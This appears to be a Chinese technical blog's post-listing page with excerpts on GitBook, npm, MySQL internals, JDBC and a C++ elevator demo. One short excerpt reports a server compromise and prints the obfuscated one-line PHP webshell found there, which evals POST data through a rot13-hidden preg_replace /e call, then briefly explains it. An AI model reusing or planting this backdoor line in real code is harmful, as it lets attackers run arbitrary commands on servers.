自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

余璜的技术博客

好玩就好

  • 博客(11)
  • 资源 (3)
  • 收藏
  • 关注

原创 如何用gitbook写书

假设你已经知道如何编写Markdown已经安装好gitbook软件目标生成一本小书,它有前言,章节1,章节2,后记。例如:简介第一章:如何造火箭 1. 燃料学 2. 空气动力学 3. 总装工程学第二章:如何回收火箭 1. 自动控制原理 2. 二次利用要点结束准备工作建一个写书的目录,以后所有工作都在这个目录下搞。例如/Users/rayw

2015-11-27 11:13:58 7758 2

原创 学习npm

Node大行其道,不知不觉生活中大部分前端产品都被Node重构,以阿里巴巴为例,收藏夹、我的淘宝、天猫首页、天猫会员、天猫电器城等等,都已经用Nodejs重写数据来源 。那么,Node到底是什么,威力为何如此巨大引无数英雄竞折腰呢?今天好好研究了一番,认为核心在NPM。简单讲,NPM就是一个下载器,通过它可以下载到几乎所有你需要的代码资源。它的成功,包括如下几个方面:海量资源:NPM背后有数以万计

2015-11-22 01:04:37 1919 2

原创 中木马了

服务器中了木马,代码如下:($b4dboy = $_POST['aaa']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');原理:这段代码将post进来的数据直接调用eval执行。解决方案:看来得把eval禁用掉了。

2015-11-20 12:20:12 1637 3

原创 详解MySQL Server端如何发送结果集给客户端

MySQL Server和Client之间的交互有一套定义得很明确的协议,称为MySQL Client/Server Protocol。 写数据库的人,只需要遵循这套协议来写程序,就能让自己的数据库被各种MySQL客户端连接,如mysql命令行,php mysql,JDBC等等。这是一个非常诱人的设计选择(Design Choice)!如果自己实现一套协议,写完数据库后,还需要给各种语言写客户端库,

2015-11-19 19:06:08 2233

转载 MySQL Field Class Hierarchy

每天睁眼看几遍,背下来就行了。Field (abstract)|+--Field_bit|  +--Field_bit_as_char|+--Field_num (abstract)|  |  +--Field_real (asbstract)|  |     +--Field_decimal|  |     +--Field_float|  |  

2015-11-18 15:16:46 736

原创 JDBC驱动中的核心代码位置

mysql-connector-java-5.1.36-src/src/com/mysql/jdbc/MysqlIO.java+getResultSet protected ResultSetImpl getResultSet(StatementImpl callingStatement, long columnCount, int maxRows, int resultSet

2015-11-18 13:57:10 1052

原创 Precision和Length对MySQL执行结果的影响

Precision和Length对MySQL执行结果的影响是什么? 要回答这个问题,首先概念上要把Precision和Length区分开。Precision表示数值的精度,Length表示数值展示的宽度。他们的关系如下:Length = Function(Precision, Scale, DateType)数值列有zerofill修饰的情况下,它转化成字符串时,转化结果的Length受Prec

2015-11-17 19:13:03 3675 1

原创 想到哪写到哪百孔千疮漏洞百出MySQL MetaData Length实现

这是一篇吐槽贴 吐槽的对象是MySQL 吐槽的点是它计算length的算法 结论是:这代码写得,真是想到哪写到哪,千疮百孔,漏洞百出。以substr为例:mysql> select substr('1234', 4, 9);Field 1: `substr('1234', 4, 9)`Catalog: `def`Database: ``Table: ``Or

2015-11-17 12:10:11 728 2

原创 MySQL MetaData中PRI_KEY,PART_KEY,MULTIPLE_KEY,UNIQUE_KEY的内涵

CREATE TABLE pk0 (c1 int, c2 int, c3 int, c4 int, c5 int, PRIMARY KEY(c1));c1: NOT_NULL PRI_KEY NUM PART_KEYCREATE TABLE pk1 (c1 int, c2 int, c3 int, c4 int, c5 int, PRIMARY KEY(c1),KEY idx2 (

2015-11-09 16:58:14 1785

原创 History of UNIX Project Build Tools

History of UNIX Project Build Tools  (The following is derived from the HACKING.txt file of the old open source project which I stopped supporting many years ago. R.I.P.)You might have not

2015-11-04 15:59:11 783

原创 小电梯,学问大

为了帮助新人学习C++,为了保证既直观,又具有一定的灵活度,电梯算法是一个不错的切入点。写了个小电梯作为demo。#include #include #include #include #include class Elevator {public: Elevator() : init_floor_(1), park_floor_(1) { /

2015-11-02 21:01:43 1010

同义词词林(扩展版)

《同义词词林(扩展版)》每个词的类编码就应该包含了他全部的信息。 对于原版同义词词林,编码的第一个字母代表该词所属的大类,第二个字母代表中类,后两位字母代表小类。 同义词词林原版是梅家驹先生人工构造的,同义的原则应该是他老人家对这些词的理解吧。同义的原则没有明确的说明,这也是目前一个研究方向--复述(paraphrasing)--关心的一个问题。

2010-05-18

FASS简介-抗锯齿原理

FSAA 是 full scene anti-alias 的缩写,有些人将其译为全景反锯齿,还算是合理。不过,倒底 FSAA 是什么呢?为什么要「全景」(full scene)?「半景」不行吗?(其实相对于 FSAA 的是 edge AA,「边缘反锯齿」)反锯齿(anti-alias)又是怎么回事呢?

2009-01-18

排队论---我收集的

排队论---我收集的 排队论---我收集的 排队论---我收集的

2008-09-08

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除